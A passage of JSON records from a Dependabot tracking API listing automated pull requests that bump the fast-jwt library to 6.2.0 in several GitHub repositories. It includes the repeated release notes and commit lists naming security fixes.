page](https://github.com/mpc-ou/discord-bot/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/mpc-ou/discord-bot/pull/15","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpc-ou%2Fdiscord-bot/issues/15","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/15/packages"},{"uuid":"4224338701","node_id":"PR_kwDOR6Xrt87Qy8Av","number":3,"state":"closed","title":"chore(deps): bump fast-jwt from 6.1.0 to 6.2.0","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-09T16:58:05.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T12:02:08.000Z","updated_at":"2026-04-09T16:58:07.000Z","time_to_close":104157,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Polyteknikkojen-Kuoro/ilmomasiina/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Polyteknikkojen-Kuoro/ilmomasiina/pull/3","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Polyteknikkojen-Kuoro%2Filmomasiina/issues/3","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3/packages"},{"uuid":"4224334568","node_id":"PR_kwDORu0jhs7Qy7NT","number":12,"state":"open","title":"Bump fast-jwt from 6.1.0 to 6.2.0 in /kingstar_intelligence/backend","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-08T12:01:26.000Z","updated_at":"2026-04-08T12:01:44.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":"/kingstar_intelligence/backend","ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Johnatan-boot/Portal-intranet-kingstar/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Johnatan-boot/Portal-intranet-kingstar/pull/12","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Johnatan-boot%2FPortal-intranet-kingstar/issues/12","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/12/packages"},{"uuid":"4224325015","node_id":"PR_kwDOLDOMWc7Qy5Wl","number":17,"state":"closed","title":"Bump fast-jwt and @fastify/jwt","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-09T16:49:48.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T11:59:42.000Z","updated_at":"2026-04-09T16:49:50.000Z","time_to_close":103806,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":"3.3.2","new_version":"6.2.0"},{"name":"@fastify/jwt","repository_url":"https://github.com/fastify/fastify-jwt","old_version":"8.0.0","new_version":"10.0.0"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) to 6.2.0 and updates ancestor dependency [@fastify/jwt](https://github.com/fastify/fastify-jwt). These dependencies need to be updated together.\n\nUpdates `fast-jwt` from 3.3.2 to 6.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose 